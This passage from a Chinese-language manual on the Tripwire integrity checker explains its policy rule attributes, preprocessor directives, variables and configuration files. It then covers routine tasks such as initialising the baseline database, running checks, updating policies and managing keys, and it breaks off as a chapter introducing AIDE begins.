对于每一条规则指定的emailto属性，如果完整性检测中发现问题，那么只有emailto属性指定的收件人会收到邮件。例如，对于下列策略文件中的规则，

(emailto=”admin1@mycompany.com;admin2@mycompany.com”)

{

/temp -> $(IgnoreAll);

/payroll -> $(ReadOnly) (emailto=admin3@mycompany.com);

}

/projects -> $(ReadOnly) (emailto=admin4@mycompany.com);

如果对象“temp”被检测出有问题，那么 admin1，admin2 都会收到邮件通知；如果是对象“payroll”被检测出有问题,那么admin1，admin2, admin3 会收到邮件通知；如果是对象”projects”被检测出有问题，那么只有admin4收到邮件通知。

要想发送电子邮件报告，那么在 tripwire 命令进行完整性检测时，在命令行必须指定参数--email-report，示例如下。

tripwire --check --email-report

所有电子邮件将用配置文件中 EMAILREPORTLEVEL 变量指定的格式，除非在命令行中用-email-report-level指明，示例如下。

tripwire --check --email-report --email-report-level 2




4.4.3 severity属性


属性severity是一个严重级别的数值，用来标识规则的严重级别。当tripwire命令运行在检测模式（Checking mode），只进行高于指定的严重级别的检查十分有用。

例如，对于下列策略文件中的规则，

/usr/bin -> $(ReadOnly)(severity=90);

/usr/lib -> $(ReadOnly)(severity=75);

在完整性检测中加入--severity选项，

tripwire --check --severity 80

“/usr/bin”对象将被检测，但是“/usr/lib”对象不会被检测。

在tripwire命令行中，也可以在severity选项中指定high、medium或low，对应严重级别数值分别是100、66和33。

Severity属性的值是从0到1,000,000。如果策略规则没有指定severity，那么默认值是0。




4.4.4 recurse属性


recurse规则属性是控制Tripwire软件监控目录的层次（递归目录的深度），recurse有效值是true, false，如果用数字标识可以用-1 到1,000,000。

对于规则制定的目录，

如果recurse属性设置为true（或者是-1），那么tripwire软件会递归扫描该目录下的所有文件和子目录；

如果recurse属性设置为false（或者是0），那么tripwire软件只会扫描与规则中指定目录节点（inode）相同的目录，而不会扫描目录下的任何文件和子目录；

如果recurse设置为一个正数值n，那么tripwire软件会从指定的目录开始向下扫描n级。

应用示例如下。

/temp/dog -> $(ReadOnly)(recurse = 2);

那么对象/temp/dog 的所有内容将被监控，但是文件/temp/dog/shepherd/bark/loudly.txt 不会不检测，因为已经添加了停止点（Stop points），那就是/temp/dog/retriever，这一级以下将不再检测。




4.5 指令


Tripwire 软件支持一组预处理指令，用来有条件地解释执行某些诊断和调试操作，这种机制的主要意图是支持在多个机器中共享一个策略文件。

指令的语法如下。

@@directive [arguments]

指令的名字对大小写敏感，在@@的前边和后边可以有空白字符，但是在@@的前面不允许有任何其他的字符，在两个@之间也不允许有任何其他的字符出现。变量不能用于指令，但是变量可用于指令的参数。示例如下。

machine = spock;

@@ifhost　$(machine)　　　　　#这种语法正确...

IFHOST = ifhost;

@@ $(IFHOST)　　　spock　　　#这种情况会出错...

Tripwire支持的预处理指令见表4.3。


表4.3 Tripwire软件的预处理指令
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4.5.1 指令@@section


@@section指令用于标识策略文件的一节。

该指令的有效参数如下。

FS　　用于UNIX文件系统对象

NTFS　用于Windows NT 文件系统对象

NTREG　用于Windows NT 注册对象（registry objects）

GLOBAL　用于定义全局变量

在策略文件中，每一节仅需声明一次，在一节内的所有规则必须在一个括号内指出。运行在UNIX 下的Tripwire 软件将会处理从@@section FS指令到下一个@@section 之间的指令。

如果在策略文件中没有@@section指令指定，那么整个策略文件将被UNIX系统解释。那么当一个Windows NT的策略文件用来处理UNIX系统的机器肯定会出现错误。

@@section指令不许出现在规则属性的范围内。

指令@@section出现在规则属性范围内的示例如下。

(severity=90)

{

@@section FS # 错误：@@section 不能在规则属性内声明

/usr/bin -> $(ReadOnly);

}

另外，指令@@section不能出现在@@ifhost、@@else或@@endif的块（block）内（其实叫“地盘”更为合适），示例如下。

@@ifhost LIGHTHOUSE

@@section FS # 错误：@@section 不能在块内部声明/usr -> $(Dynamic);

@@endif




4.5.2 指令@@ifhost, @@else, @@endif


指令@@ifhost、@@else和@@endif可用于有条件地解释策略文件。语法如下。

@@ifhost host1 || host2 || …

@@else

@@endif

这里的host1,host2,…为机器名字，||符号作为逻辑或（OR）来解释。

用下列例子说明如何将一个策略文件用于多个机器。

@@ifhost spock || kirk

/bin　　　->　　$(ReadOnly) ;

@@endif

@@ifhost chekov || uhura

/usr/bin　　　->　　+pinug ;

@@else

/usr/bin　　　->　　+pinugsmC ;

@@endif

如果运行 Tripwire 软件的机器的机器名与@@ifhost 指令中的名字匹配，那么所有@@ifhost和@@endif之间的语句将会被解释。

如果没有找到匹配的机器，那么@@ifhost 和@@endif 之间的语句将省略。不过，如果这些被省略的语句中有@@else，那么@@else和@@endif之间的语句将会被解释。注意，没有@@elseif指令。

指令@@ifhost 和@@else是可以嵌套的，示例如下。

@@ifhost chekov || uhura

/bin -> $(ReadOnly);

/usr/bin -> $(IgnoreNone) -ar;

@@else

@@ifhost bones

/bin -> $(IgnoreNone) -ar;

@@endif

@@endif




4.5.3 指令@@print, @@error


指令@@print和@@error 用来指定预期调试和远程诊断（remote diagnostics）的信息。

语法如下。

@@print string

@@error string

这两个指令的参数只能是一个字符串。因此，如果参数中有空格字符，那么一定要将参数放在引号内。

@@print string　　　　　　# 正确

@@print "Two strings"　　　　　# 正确

@@print two strings　　　　　# 错误

指令@@print仅仅是将参数打印到标准输出设备，而指令@@error不仅将参数打印到标准输出设备，而且还退出程序。示例如下。

@@ifhost romeo

/bin　　　->　　$(ReadOnly);

@@else

@@ifhost juliet

@@print “Scanning projects on juliet”

/projects　->　　$(ReadOnly) +H;

@@else

@@error “This policy file not written for this machine”

@@endif

@@endif




4.5.4 指令@@end


指令@@end 标识策略文件的逻辑结束，任何出现在这个指令后的文本都将会被忽略。指令@@end不能出现在指令属性范围内，也不能出现在@@ifhost、@@else或者@@endif块内。




4.6 变量（Variables）


在策略文件中可以使用两种类型的变量，全局变量的作用域是整个策略文件，而局部变量在UNIX 部分的策略文件中作用域仅在定义所在的区域（section）内。如果全局变量和局部变量同名，那么局部变量在其所在的区域（section）内优先，而此时的同名全局变量被临时掩盖。




4.6.1 变量定义


在策略文件中，全局变量必须在全局变量区域（section）内定义，本地变量可以在任意处定义，当然要在它们的区域（section）范围内。全局变量和局部变量的语法相同，如下所示。

variable = value;

变量名variable大小写敏感，变量名可以使用字母或数字字符，以及下划线、“+”、“-”、“@”、“：”、“&”、“%”、“^”和“.”。变量值value内如果包含有空格或转义字符，那么必须放在引号内。示例如下。

path　=　　/usr/local/lib/bigproject;

mask1　=　　+pinugC-a;




4.6.2 变量替换


变量替换字符串可以出现在任何地方，语法如下所示。

$(variable)

变量可以出现在规则的左边，如下所示。

# 定义变量…

path　=　/usr/local/lib/bigproject　;

# …使用变量

$(path)/src　->　+pug　;

$(path)/exe　->　+pugntmc　;

变量也可以出现在规则的右边，如下所示。

# 定义变量…

mask1　=　+pinugC-a　;

# …使用变量

/home/projectA　->　$(mask1)　;

/home/projectB　->　$(mask1)+MSH-db　;

变量还可以用于指令，如下所示。

#定义机器

server = jupiter;

@@ifhost $(server)

@@end

然而，“||”不能出现在变量替换中，因此下面的定义将不会正常工作（因为变量中包含“||”）。

# 定义一个变量，列出sale 部门的所有机器

sales_department = jupiter || mars || pluto || mercury;

@@ifhost $(sales_department)　　# 错误

@@endif

指令中的变量或预定义变量，不能逐个替换。相关变量见表4.4所示。


表4.4 预定义变量
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第5章 配置文件参考


这一章讲述的是配置文件tw.cfg，这个文件存储了Tripwire软件的配置信息，例如用于完整性检测的文件存储位置。

安装配置文件 install.cfg 只有在安装过程中才被使用，为安装文件指定目的地，初始化文件tw.cfg中的变量值。在INSTALL文件中有关于安装配置的描述。




5.1 配置文件（Configuration File）


在安装过程中，Tripwire软件利用install.cfg文件中的值来构造编码并密钥签名的配置文件，这个文件命名为 tw.cfg，放置在/etc/tripwire 目录下，同时还有一个文本形式的副本，命名为twcfg.txt，也放置在同一目录下。

根据实际的使用情况可能会做些改变，包括如下情况。

① Tripwire软件检查系统的完整性的方式

② 电子邮件报告的方式

③ 文件的默认位置




5.1.1 介绍install.cfg文件


文件install.cfg位于源代码一级子目录install下，文件内容如下（部分做了翻译，原文中没有汉语，下一节有详细解释）。

[root@mail tripwire-2.4.1.2-src]# more install/install.cfg

#

# install.cfg

#

# default install.cfg for:

# Tripwire(R) 2.4 Open Source

#

# NOTE: This is a Bourne shell script that stores installation

#　　parameters for your installation.　The installer will

#　　execute this file to generate your config file and also to

#　　locate any special configuration needs for your install.

#　　Protect this file, because it is possible for

#　　malicious code to be inserted here

#

# This version of Tripwire has been modified to conform to the FHS

# standard for Unix-like operating systems.

#

# To change the install directory for any tripwire files, modify

# the paths below as necessary.

#

#=======================================================

# If CLOBBER is true, then existing files are overwritten.

# If CLOBBER is false, existing files are not overwritten.

CLOBBER=false　　　　　　//对已经存在的文件是否覆盖

# Tripwire binaries are stored in TWBIN.

TWBIN="${prefix}/sbin"　　　//Tripwire的命令所在的目录

# Tripwire policy files are stored in TWPOLICY.

TWPOLICY="${sysconfdir}"　　　//Tripwire的策略文件所在的目录

# Tripwire manual pages are stored in TWMAN.

TWMAN="${prefix}/man"　　　　//Tripwire的man文档所在的目录

# Tripwire database files are stored in TWDB.

TWDB="${prefix}/lib/tripwire"　　//Tripwire的数据库文件所在的目录

# Tripwire documents directory

TWDOCS="${prefix}/doc/tripwire"　//Tripwire的文档所在的目录

# The Tripwire site key files are stored in TWSITEKEYDIR.

TWSITEKEYDIR="${TWPOLICY}"　　//Tripwire的站点密钥所在的目录

# The Tripwire local key files are stored in TWLOCALKEYDIR.

TWLOCALKEYDIR="${TWPOLICY}"　　//Tripwire的本地密钥所在的目录

# Tripwire report files are stored in TWREPORT.

TWREPORT="${TWDB}/report"　　　//Tripwire的报告文件所在的目录

# This sets the default text editor for Tripwire.

TWEDITOR="${path_to_vi}"　　　//设置默认的文本编辑器

# TWLATEPROMTING controls the point when tripwire asks for a password.

TWLATEPROMPTING=false　　　　//在输入密码时是否出现点字符

# TWLOOSEDIRCHK selects whether the directory should be monitored for properties that change when files in the directory are monitored.

TWLOOSEDIRCHK=false　　　　//当监控目录中的文件时，属性改变的目录是否被监控

# TWMAILNOVIOLATIONS determines whether Tripwire sends a no #violation report when integrity check is run with --email-report but no #rule violations are found. This lets the admin know that the integrity

# was run, as opposed to having failed for some reason.

TWMAILNOVIOLATIONS=true　　　//在完整性检测中如果没有发现违反策略

//的改变，是否发邮件

# TWEMAILREPORTLEVEL determines the verbosity of e-mail reports.

TWEMAILREPORTLEVEL=3　　　　//邮件的报告级别

# TWREPORTLEVEL determines the verbosity of report printouts.

TWREPORTLEVEL=3　　　　　//报告级别

# TWSYSLOG determines whether Tripwire will log events

# to the system log

TWSYSLOG=false　　　　　//Tripwire的事件是否写入系统日志

#####################################

# Mail Options - Choose the appropriate

# method and comment the other section

#####################################

#####################################

# SENDMAIL options - DEFAULT

#

# Either SENDMAIL or SMTP can be used to send

#reports via TWMAILMETHOD.

# Specifies which sendmail program to use.

#####################################

TWMAILMETHOD=SENDMAIL　　　　//默认使用SENDMAIL发送邮件

#####################################

# SMTP options

#

# TWSMTPHOST selects the SMTP host to be used to send reports.

# SMTPPORT selects the SMTP port for the SMTP mail program to use.

#####################################

#TWMAILMETHOD=SMTP

#TWSMTPHOST="mail.domain.com"

#TWSMTPPORT=25

# If sendmail wasn't found in the path, set then clear out

# TWMAILPROGRAM so the install.sh does the right thing and

# tells the user about the missing configuration

#

if [ -z "$path_to_sendmail" ] ; then

TWMAILPROGRAM=""

else

TWMAILPROGRAM="${path_to_sendmail} -oi -t"

fi

可以看出该文件概要描述了Tripwire软件安装后的目录部署和Tripwire配置文件的内容。




5.1.2 tw.cfg配置文件格式


下面是Tripwire软件的一个简单配置文件，文件的结构是一个“变量=值”的列表，以“#”号开头的行是注释行。

#

# UNIX 系统下简单的配置文件

#

POLFILE = /etc/tripwire/tw.pol

DBFILE = /var/lib/$(HOSTNAME).twd

REPORTFILE = /var/lib/report/$(HOSTNAME)-$(DATE).twr

SITEKEYFILE = /etc/tripwire/site.key

LOCALKEYFILE = /etc/tripwire/$(HOSTNAME)-local.key

EDITOR = /bin/vi

LATEPROMPTING = false

LOOSEDIRECTORYCHECKING = false

MAILNOVIOLATIONS = true

EMAILREPORTLEVEL = 3

REPORTLEVEL = 3

MAILMETHOD = SENDMAIL

MAILPROGRAM = /usr/lib/sendmail -oi -t

# SMTPHOST =

# SMTPPORT =

SYSLOGREPORTING = false

通用变量语法定义如下所示。

keyword = value

TWROOT = /etc/tripwire

变量替换可以用在等号“=”右边，其语法如下所示。

$(varname)　　　　　//变量定义的语法

$(TWROOT)/policy/tw.pol　　//变量的使用

变量名必须使用大写字母；变量值对字母大小写不敏感，并且可以包含其他的ASCII字符。变量必须先定义后使用。

有两个预定义变量是不能改变的。

① HOSTNAME 表示正在运行Tripwire机器的机器名。

② DATE 表示时间和日期的字符串（例如20000127-061033）。




5.2 配置文件的变量


从配置文件中移走一个可选的变量和设置这个变量的值为“false”的作用一样。




5.2.1 必选变量（Required Variables）


下列5个变量指定了Tripwire软件用于完整性检测的本地文件。为了正确操作，在配置文件中，这些变量必须都有值，相关的目录路径都必须有相关的权限许可。

① POLFILE

默认的策略文件。

初始值为/etc/tripwire/tw.pol

② DBFILE

默认的数据库文件。

初始值为/etc/tripwire/$(HOSTNAME).twd

③ REPORTFILE

指定产生报告的名字。

初始值为/var/lib/report/$(HOSTNAME)-$(DATE).twr

④ SITEKEYFILE

指定站点密钥文件（site key）。

初始值为/etc/tripwire/site.key

⑤ LOCALKEYFILE

指定本地的默认密钥文件（local key）。

初始值为/etc/tripwire/$(HOSTNAME)-local.key




5.2.2 可选变量（Optional Variables）


① EDITOR

定义一个编辑器的绝对路径，它将工作在交互模式下。有效的编辑器必须能够在命令行下打开文件，必须支持多字节字符。成功退出必须使用“0”状态，错误时使用“非0”状态。

如果EDITOR没有定义，而且在命令行也没有指定编辑器，那么Tripwire软件会在环境变量中查找$VISUAL或$EDITOR变量，如果仍然找不到，那么指定的交互模式将会发生错误。

初始值为/bin/vi。

② LATEPROMPTING

这个变量如果设置为“true”，Tripwire 软件提示输入密码短语这一操作将会尽可能地推迟，因为这可以让密码短语在内存中驻留的时间最短（这样做会尽可能地减少捕获存储在内存中的密码短语的机会）。

初始值为false。

③ SYSLOGREPORTING

如果这个变量设置为“true”，Tripwire软件将会把数据库初始化、完整性检测、数据库升级，以及策略更新的记录消息发往 syslog。UNIX 系统的 syslog 消息级别是“notice”，而且会指明发送者。

默认值为true。

示例如下。

[root@mail etc]# tail -f /var/log/messages

Feb 11 09:06:39 mail tripwire[26483]: Database initialized: /usr/local/tripwire/lib/tripwire/mail.twd

这是一条tripwire命令在初始化数据库时产生的日志。

④ LOOSEDIRECTORYCHECKING

当文件加入一个目录或者从一个目录移走文件，对文件自身来说都会发生两个改变，对目录的修改都会在Tripwire报告文件中产生多余的记录。这个变量如果设置为“true”，那么当在目录中有加入或删除文件（最后写和最后访问时间）操作时，目录属性将被忽略。换句话说就是只记录文件变化，不记录目录变化。

初始值为false。

⑤ REPORTLEVEL

指定报告的详细程度，有0～4五个级别；如果在命令twprint --print-report中指定了级别，那么配置文件中的这个值将会被覆盖。

默认值为3。




5.2.3 电子邮件通知变量


① MAILMETHOD

为Tripwire 软件指定发送电子邮件通知的协议。有效值只有SMTP 和SENDMAIL。

默认值为SENDMAIL。

② SMTPHOST

指定用来发送电子邮件的 SMTP 服务器域名或者是 IP 地址。如果 MAILMETHOD 的值为SENDMAIL，那么SMTPHOST将被忽略，只有MAILMETHOD的值设置为SMTP时才有效。

默认值为（注释掉）。

③ SMTPPORT

指定SMTP的端口号。只有MAILMETHOD设置为SMTP时才有效，否则被忽略。

默认值为（注释掉）。

④ MAILPROGRAM

如果MAILMETHOD的值设为SENDMAIL，那么要指明SENDMAIL的全路径。

默认值为/usr/lib/sendmail -oi –t。

⑤ EMAILREPORTLEVEL

指定一个让电子邮件发送完整性检测报告的详细级别，有0～4五个级别。如果在命令行中指定了级别，那么配置文件中的这个变量值将会覆盖。

默认值为3。

⑥ MAILNOVIOLATIONS

这个变量是用来控制 Tripwire 软件在完整性检测中没有发生违反规则的情况下的发送邮件通知。

如果这个变量设置为“false”，并且没有检测出违反规则的情况，那么就不会有报告发送；如果设置为“true”，同样没有违反规则的情况出现，那么将会发送邮件，说明没有违反规则的情况出现。

通过发送没有违反策略规则的邮件，能够让管理员区别出无人看管的完整性检测是没有运行还是运行了但是没有违反策略规则。此外，如果配置为“true”，那么正常情况下按照完整性检测的规律（可以通过crontab实现）都会收到邮件，如果没有收到那么也会有个提醒，是否是出问题了。

默认值为true。




第6章 使用Tripwire软件


这一章描述的是配置文件和Tripwire软件安装后的使用。

配置文件操作的任务如下。

编辑配置文件

测试E-mail收发

定制默认的策略文件

初始化数据库文件

常规操作的任务如下。

运行完整性检测

检查报告文件

升级数据库文件

升级策略文件

修改密码短语（passphrase）




6.1 配置文件（Configuration file）


配置文件部分描述的是对Tripwire软件的一般操作。一般来说，在初始化数据库文件之前只需要修改配置文件一次。当初始化数据库完成后，就是后续章节所讲的常规操作了。




6.1.1 编辑配置文件


1．编辑配置文件。

通过编辑配置文件可以控制Tripwire软件很多方面的操作。因为安全的原因，配置文件在系统中是以二进制编码和签名加密的格式保存的。

配置文件有两种格式，一种是文本模式的配置文件，另一种是配置文件模式的配置文件。前一种是用文本编辑器编辑生成的文本文件，而后一种是Tripwire用前一种文件经过编码和签名加密的文件。

这个二进制编码并签名加密的文件名字是tw.cfg，默认被存储在/etc/tripwire目录下。还有一个文本式的副本，名字是 twcfg.txt，也存储在同一目录下。要改变配置文件，就必须先编辑文本版本的文件，然后再生成二进制编码并签名加密的版本。

[image: figure_0075_0042]


安全问题：

编辑并且生成新的配置文件后，应该把文本版本的配置文件移除。也可以存储在移动的设备中，最好是存储在只读介质上，以便阻止非法访问。

通过编辑配置文件可以做如下改变。

Tripwire的本地文件

设定电子邮件报告

目录完整性检测语法分析

默认的Tripwire报告级别

如果没有文本模式的配置文件存在，可以用twadmin命令，从配置文件模式的配置文件生成出文本模式的配置文件，命令如下。

twadmin --print-cfgfile > myconfig.txt

2．编辑并保存文本文件。

3．利用twadmin通过新的文本格式的配置文件生成配置文件模式的配置文件。具体命令如下。

twadmin --create-cfgfile --site-keyfile /etc/tripwire/site.key

myconfig.txt




6.1.2 测试E-mail收发


通过 E-mail 将完整性检测的结果发送到指定的电子邮箱，这个电子邮箱地址是在安装Tripwire 软件时指定的。当然也可以在配置文件中进行修改，通过修改 MAILPROGRAM 或MAILMETHOD等其他方法设置。

电子邮件提醒测试可以用tripwire命令进行，如下所示。

tripwire --test --email user@domain.com

要成功使用电子邮件通知，需要注意如下三点。

在配置文件中设置有效的变量；

在配置文件中，必须为一个或多个策略指定emailto规则属性；

在运行完整性检测时，命令tripwire要指定参数-M 或--email-report。




6.1.3 定制默认的策略文件


Tripwire 软件装有一个默认的策略文件，用来监控所有的文件和目录，可以编辑这个文件以便适合自己的系统，或者是利用它作为一个参考例子而建立自己的策略文件。

进行了第一次完整性检测后，以后可能还需要多次升级策略文件中的规则，以便加入新的规则和改变现有的规则。

在第一次设置策略文件时，需要编辑一个新的文本模式的策略文件，然后生成经过二进制编码和密钥签名的策略文件，再用这个策略文件生成数据库，以后再修改策略文件就应该使用tripwire 命令的策略升级模式（policy update mode）了。

同样，策略文件有两种格式，一种是文本模式的策略文件，另一种是策略文件模式的策略文件。前一种是用文本编辑器编辑生成的文本文件，而后一种是Tripwire用前一种文件经过编码和签名加密的文件。定制默认的策略文件过程如下所示。

1．可以利用任何一种编辑工具，在/etc/tripwire目录下打开twpol.txt, 读策略文件中的规则。首行用‘#’字符标识的都是注释，Tripwire在语法上不再对注释行进行分析。

2．在现有的策略文件中通过添加或删除‘#’注释符来决定所要监控的对象。

3．保存文本模式的配置文件。

4．利用twadmin命令编码并签名加密文本模式的配置文件来建立策略文件模式的策略文件，并作为新的策略文件来使用，命令如下。

twadmin --create-polfile policy.txt

5．删除文本模式的配置文件，或者是存储在一个比较安全的环境中，以防止未经授权的访问。




6.1.4 初始化数据库


在编辑了配置文件和策略文件后，最后一步就是建立 Tripwire 基线数据库。在第一次安装Tripwire软件后，只需要初始化数据库一次。

在这个过程中，tripwire命令根据策略文件中的规则收集系统的信息，并且将这些信息存储在数据库文件中，数据库文件是通过二进制编码签名加密的，以防止未经授权的修改。

因为这个数据库文件要作为基线数据库（baseline database）,用于以后的完整性检测，所以一定要确定机器所在的系统没有受到损坏，然后才能以此为基础生成基线数据库（baseline database）。

初始化数据库文件的命令如下。

tripwire --init

该命令生成了初始化数据库文件，也就是基线数据库（baseline database），同时也把这个数据库文件保存到了配置文件中DBFILE变量所指定的位置。默认的位置是/var/lib/$(HOSTNAME).twd。

完成了初始化数据库文件之后，就可以在任何时候运行Tripwire软件做完整性检测。




6.2 常规操作


图6.1显示了Tripwire软件在安装并配置初始化数据库文件之后的操作。
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图6.1 Tripwire软件的安装并配置流程






6.2.1 完整性检测


完成了初始化数据库文件后，就可以利用tripwire命令进行完整性检测了。在tripwire命令的检测模式中，通过比较当前系统和存储在数据库文件中的信息，任何与数据库文件中的不同点都将被通过文本报告的方式指出。运行基本的完整性检测命令如下。

tripwire --check

这个文本报告以文本的方式显示在标准的输出设备上（屏幕）,同时以二进制文件的方式存储在配置文件REPORTFILE变量所指定的位置。

需要注意的是，二进制文件中记录的信息要比屏幕上看到的信息更详细。

运行完整性检测，并指定二进制报告文件的位置的命令如下。

tripwire --check --twrfile /var/lib/report/myreport.twr

通过电子邮件发送完整性检测报告的命令如下。

tripwire --check --email-report

通过上面的命令，电子邮件报告将会发送给每一个在策略文件中指定的收件人。可以在配置文件中通过变量EMAILREPORTLEVEL来指定邮件报告的级别。指定邮件发送报告的级别的命令如下。

tripwire --check --email-report --email-report-level 2

如果在策略文件中使用 severity 变量根据重要性进行了规则分类，那么可以在完整性检测中只根据某一个用severity变量指定的规则进行检测。示例如下。

tripwire --check --severity 100

如果在策略文件中使用了rulename变量，那么可以在完整性检测中只根据某一个用rulename变量指定的规则文件进行检测。示例如下。

tripwire --check --rule-name rulename

如果想加一些规则，可以嵌入到已有的策略文件中，也可以把这些规则指派到一个单独的文件中，然后在配置文件中用rulename指出就可以了。

如果只是想对特定的目录或文件进行检测，那么可以使用如下命令。

tripwire --check object1 object2 object3 ...

注意：命令中的object需要全路径。

在运行完整性检测时，Tripwire 软件根据策略文件指定的对象收集数据，这个过程（尤其是hashes）要花费大量的时间。为了提高检测的速度，可以在完整性检测时忽略一些指定的属性，命令如下。

tripwire --check --ignore “property,property,property”

注意：property是Tripwire的属性。




6.2.2 检验报告文件


无论何时运行完整性检测，tripwire命令都会在标准的输出设备（屏幕）上输出一个检测报告，可选择的是还可以在配置文件中指定电子邮件的收件人地址，以便通过电子邮件发送报告。通过查看检测报告决定是否有心怀恶意的破坏。如果需要查看更为详细的信息，可以通过twprint命令的打印报告模式（Print Report mode）来显示一个已经存在的报告文件。

在屏幕上显示一个已经存在的检查报告的命令如下。

twprint --print-report --twrfile /var/lib/report/report.twr

从一个已经存在的检测报告生成一个文本文件的命令如下。

twprint --print-report --twrfile /var/lib/report/report.twr >

myreport.txt

在生产报告文件时指定报告级别的命令如下。

twprint --print-report --report-level 4 --twrfile /var/lib/report/report.twr




6.2.3 升级数据库


在完整性检测后，如果Tripwire软件发现了任何变化，但这些变化是合法的，换句话说就是经过授权的变化，那么应该升级数据库以便及时反映当前系统的状态，以防止授权的改变在将来的完整性检测中再次被解释为非法的改变。

数据库升级模式（Database Update mode）会显示并进入一个报告的编辑模式，允许选择每一项是否可以升级，命令如下。

tripwire --update --twrfile /var/lib/report/report.twr

如果在完整性检测时使用了--interactive选项，那么可以在完整性检测后立即升级数据库，如同数据库升级模式（Database Update mode）一样，这会进入一个文本的编辑环境，然后选择每一项是否升级。

完整性检测后立即进行数据库升级的命令如下。

tripwire --check --interactive

这两种情况都会打开一个编辑会话（editor session），利用配置文件中EDITOR变量设置的编辑器打开编辑界面。每一个被完整性检测认为有问题的项目前均会出现一个“投票箱（ballot box）”，如下所示。

Modified:

[x] "/usr/local/mm"

drwxr -xr -x root(0)　　　512 Tue Nov 22 17:19:15 2009

通过删除或是留下“x”来决定是否核准一个违反策略文件规则的改变。如果保留“x”，则说明批准改变；如果删除“x”，则说明不批准改变。在编辑结束退出编辑器后，要求输入本地密码短语（local passphrase）,然后tripwire命令执行数据库升级并且保存数据库。




6.2.4 升级策略文件


如果出现下列情形那么就得改变策略文件。

 对系统中新加入的文件进行监控。

 策略规则生成了许多错误的数据，或者是报告中有不正确的提示。

 改变电子邮件的收件人地址，或者是对规则进行分类。

当Tripwire软件初始化完成后，对策略文件的所有改变要用命令tripwire的策略文件升级模式（Policy Update mode），而不要用twadmin 命令的策略文件创建模式（Create Policy File mode）。无论何时当一个新的策略文件建立后，数据库文件都必须重新初始化。如果上一次完整性检测后侵入者修改了文件，而这些变化没有被发现，那么这些被侵入者修改了的文件就会被作为正确的文件记录在新的基线数据库中。所以在更新新的策略前一定要再做一次文件完整性检测。

升级策略文件的基本过程如下所示。

1．利用twadmin 的生成策略文件文本模式（Print Policy File mode）生成文本模式的策略文件，命令如下。

twadmin --print-polfile > mm.txt

2．编辑并保存策略文件。

3．利用tripwire命令的策略升级模式（Policy Update mode）将改变加入到已经存在的策略文件中，命令如下。

tripwire --update-policy mypol.txt

这个升级过程会添加、删除或者修改数据库条目（entries）,并且要用站点密钥（site key）加密新的策略文件，然后将被加密的新的策略文件存储在配置文件变量POLFILE所指定的位置。策略文件的改变需要通过运行tripwire命令的完整性检测模式来确认。




6.2.5 修改密码短语（Passphrases）


Tripwire 的站点密钥（site key和本地密钥（local key）的生成都是在Tripwire 软件的安装过程中生成的，但是如果认为现有的密钥不安全可以在任何时候改变这个密钥（key）来签名加密文件。密码短语（Passphrases）是用来签名文件的，但是它和密钥文件是有联系的，修改密钥文件的唯一途径是修改密码短语（Passphrases）。

注意：如果删除或覆盖了一个已经被加密使用过的密钥文件，那么被这个密钥文件加密的文件将永远不能访问了，所以必须对两个密钥文件（公钥和私钥文件）加以备份。

改变个别文件的加密选项过程如下。

1．如果不知道一个被加密过的文件是用什么密钥加密的，那么可以用 twadmin 检测加密命（Examine Encryption command）令进行检测，命令如下。

twadmin --examine file1 file2

示例如下。

[root@mail sbin]# pwd

/usr/local/tripwire/sbin

[root@mail sbin]# ./twadmin --examine ../lib/tripwire/mail.twd

File: "/usr/local/tripwire/lib/tripwire/mail.twd"

File Type: Tripwire Database (Ver 2.2.0.0)

Encoding: Asymmetric Encryption

The following keys decrypt this file:

Local Keyfile: /usr/local/tripwire/etc/mail-local.key

2．利用twadmin 命令的密钥移除模式（Remove Encryption mode）移除被签名的文件，但是需要输入相应的密码短语（Passphrases），命令如下。

twadmin --remove-encryption file1 file2

示例如下。

[root@mail sbin]# pwd

/usr/local/tripwire/sbin

[root@mail sbin]# ./twadmin

--remove-encryption ../lib/tripwire/mail.twd.bak

Examining file: /usr/local/tripwire/lib/tripwire/mail.twd.bak

NOTE: Removing encryption on a file leaves it open to tampering!

Please enter your local passphrase: ←此处要输入相应长度的密钥短语

Wrote database file: /usr/local/tripwire/lib/tripwire/mail.twd.bak

如果此时查看该文件的加密情况，则会出现如下反馈。

[root@mail sbin]# pwd

/usr/local/tripwire/sbin

[root@mail sbin]# ./twadmin --examine ../lib/tripwire/mail.twd.bak

File: "/usr/local/tripwire/lib/tripwire/mail.twd.bak"

File Type: Tripwire Database (Ver 2.2.0.0)

Encoding: Compressed

可以看出已经不是一个加密文件了，而是一个被压缩的文件。

3．使用twadmin 命令的加密模式（Encrypt mode）签名要加密的文件，命令如下。

twadmin --encrypt --local-keyfile /etc/tripwire/ local.key file1 file2

或

twadmin --encrypt --site-keyfile /etc/tripwire/sitekey.key file1 file2

示例如下。

[root@mail sbin]# pwd

/usr/local/tripwire/sbin

[root@mail sbin]# ./twadmin --encrypt

--local-keyfile ../etc/mail-local.key ../ lib/tripwire/mail.twd.bak

Examining file: /usr/local/tripwire/lib/tripwire/mail.twd.bak

Please enter your local passphrase:

Wrote database file: /usr/local/tripwire/lib/tripwire/mail.twd.bak

如果对一个已经加密过的文件再次加密，则反馈如下。

[root@mail sbin]# pwd

/usr/local/tripwire/sbin

[root@mail sbin]# ./twadmin --encrypt

--local-keyfile ../etc/mail-local.key ../ lib/tripwire/mail.twd.bak

Examining file: /usr/local/tripwire/lib/tripwire/mail.twd.bak

### Warning: Encryption change.

### File is currently encrypted. Skipping.

### /usr/local/tripwire/lib/tripwire/mail.twd.bak

### Continuing...

4．如果需要生成新的密钥文件，那么可以使用twadmin 命令的密钥生成模式（Generate Keys mode）来生成新的密钥文件，命令如下。

twadmin --generate-keys --site-keyfile /etc/tripwire/site.key

或

twadmin --generate-keys --local-keyfile /etc/tripwire/local.key

示例如下。

[root@mail sbin]# pwd

/usr/local/tripwire/sbin

[root@mail sbin]# twadmin --generate-keys

--local-keyfile ../etc/local.key

(When selecting a passphrase, keep in mind that good passphrases typically

have upper and lower case letters, digits and punctuation marks, and are

at least 8 characters in length.)

Enter the local keyfile passphrase: ←此处要输入相应长度密钥短语

Verify the local keyfile passphrase: ←再次确认

Generating key (this may take several minutes)...Key generation complete.




第7章 认识AIDE


在这一章我们将认识一下AIDE，下一章会讲述它的使用。首先要提到的是，AIDE 的设计目标就是取代 Tripwire，替代它的原因在于开源与商业的问题，而绝非功能上，请你绝对不要怀疑Tripwire的功能。

与Tripwire比较起来，AIDE比较简单。我们在前面也了解到，AIDE软件只有一个命令。在本章中，我们首先了解一下AIDE的功能、安装要求，以及它的基本用法和它的工作流程；然后是安装AIDE。另外，对于每一种软件，我们都有必要了解一下软件安装后的目录结构。




7.1 了解AIDE


